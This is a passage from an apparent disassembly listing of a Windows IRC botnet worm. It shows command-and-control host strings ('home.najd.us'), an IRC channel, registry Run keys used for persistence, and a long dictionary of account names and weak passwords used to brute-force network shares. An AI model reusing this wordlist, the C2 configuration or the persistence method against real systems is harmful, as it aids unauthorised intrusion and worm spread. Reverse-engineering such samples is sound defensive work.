found.',0 ; DATA XREF: sub_40C0DE:loc_40C1FBo align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40C0DE:loc_40C1F4o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40C0DE:loc_40C1EDo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C1E6o align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40C0DE:loc_40C1DFo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40C0DE:loc_40C1C2o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40C0DE:loc_40C1BBo align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40C0DE:loc_40C1B4o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40C0DE+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40C0DE:loc_40C189o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C182o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40C0DE:loc_40C17Bo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40C0DE:loc_40C171o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40C0DE+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40C0DE:loc_40C14Bo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40C0DE:loc_40C141o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40C0DE:loc_40C137o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40C0DE:loc_40C12Do align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40C0DE:loc_40C123o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40C0DE+3Bo align 10h unk_42A2A0 db 2 ; DATA XREF: sub_40C212+ABo db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 align 4 unk_42A2DC db 2 ; DATA XREF: sub_40C212+81o db 74h, 2, 72h db 6Eh ; n db 28h, 30h, 31h db 61h ; a db 29h, 20h, 5Bh db 6Eh ; n db 65h, 74h, 2Eh db 6Dh ; m db 1Fh, 64h, 1Fh db 6Ch ; l db 5Dh, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aMessageSentSuc db ' Message sent successfully.',0 dword_42A314 dd 1B58h ; sub_40C2D0+5C6r dword_42A318 dd 1A0Bh dword_42A31C dd 1AA6h dword_42A320 dd 45h ; sub_40CC09+49E0r dword_42A324 dd 158Dh ; sub_40CC09:loc_4116DBr dd 201h dword_42A32C dd 1 dword_42A330 dd 1 ; sub_40C2D0:loc_40C61Er byte_42A334 db 78h ; DATA XREF: sub_40A8F0:loc_40A8FCr ; sub_40CC09+AF3r ... align 4 dword_42A338 dd 9 ; sub_41274C+51r ... dword_42A33C dd 1 ; sub_40CC09+27Cr ... dword_42A340 dd 1 aNt801 db 'nt801',0 ; DATA XREF: sub_40C2D0+6Ao ; sub_40CC09+38FBo ... align 4 aNk0_1 db 'nk0.1',0 align 4 aHi_0 db 'hi',0 ; DATA XREF: sub_40CC09+55C6o ; sub_40CC09+5695o align 4 aHome_najd_us db 'home.najd.us',0 ; DATA XREF: sub_40C2D0+4FEo ; sub_40C2D0+5B7o align 4 off_42A368 dd offset byte_646423 ; DATA XREF: sub_40C2D0+51Fo ; sub_40C2D0+5CDo aDpass db 'dpass',0 ; DATA XREF: sub_40C2D0+536o ; sub_40C2D0+5DFo align 4 byte_42A374 db 68h ; DATA XREF: sub_40C2D0:loc_40C8C5r ; sub_40C2D0+603o aOme_najd_us db 'ome.najd.us',0 align 4 off_42A384 dd offset byte_646423 ; DATA XREF: sub_40C2D0+619o aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C2D0+62Bo align 10h aTilehome_com db 'Tilehome.com',0 ; DATA XREF: sub_402F48+3Eo ; sub_4039C9+89o ... align 10h aKeyshom_txt db 'keyshom.txt',0 aWindowsTilehom db 'Windows Tilehome',0 ; DATA XREF: sub_409A42+Eo align 10h aCc db 'Cc-',0 ; DATA XREF: sub_41274C+12o aTilehome_com_0 db 'Tilehome.com',0 align 4 aXI db '+x+i',0 ; DATA XREF: sub_40CC09+570Eo align 4 off_42A3DC dd offset byte_636323 ; DATA XREF: sub_40CC09:loc_40FA1Fo ; sub_40CC09+4832o aCcc_0 db '#ccc',0 align 4 aCcc db '#ccc',0 ; DATA XREF: sub_40CC09+1B01o align 10h off_42A3F0 dd offset a@room ; DATA XREF: sub_40CC09:loc_41222Bo ; "*@room" off_42A3F4 dd offset aMirc1_6_99 ; DATA XREF: sub_40CC09+8C6r ; sub_40CC09+563Eo ; "mirc 1.6.99" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 align 10h dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrater ; "administrater" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDb1 ; "db1" dd offset aOracle ; "oracle" dd offset aDirector ; "Director" dd offset aOfficial ; "Official" dd offset aDirector_0 ; "director" dd offset aAdministrative ; "administrative" dd offset aManagement ; "management" dd offset aUser ; "USER" dd 0 dd offset byte_438A10 dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset off_431200 dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset off_431180 dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset off_430FE0 dd offset dword_430FDC dd offset off_430FD8 dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset dword_430F74 dd offset off_430F70 dd offset off_430F6C dd offset aTest123 ; "test123" dd offset off_430F60 dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin_15 ; "login" dd offset off_430F20 dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset dword_430EDC dd offset off_430ED8 dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_430E00 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4221A4 dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector_0 ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" 